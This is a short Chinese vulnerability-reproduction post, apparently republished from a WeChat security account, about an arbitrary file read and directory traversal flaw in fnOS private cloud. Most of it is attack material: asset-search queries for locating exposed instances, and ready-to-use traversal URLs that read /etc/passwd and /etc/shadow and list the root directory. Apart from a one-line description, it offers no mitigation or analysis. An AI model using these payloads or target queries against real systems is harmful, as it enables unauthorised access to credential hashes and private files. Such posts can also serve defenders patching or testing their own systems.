【漏洞复现】飞牛私有云fnOS存在任意文件读取漏洞

熔城Sec

发布于 2026-07-22 20:25:47

940

漏洞描述

飞牛私有云fnOS漏洞接口/app-center-static/serviceicon/myapp/存在任意文件读取漏洞和目录遍历，可以读取系统敏感信息。

资产收集

title="飞牛私有云" || title="fnOS" || (body="fnOS" && port="8000") || icon_hash="-123456789"

漏洞复现

/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd

/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/shadow

/app-center-static/serviceicon/myapp/{0}/?size=../../../../

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2026-02-12，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自熔城Sec 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度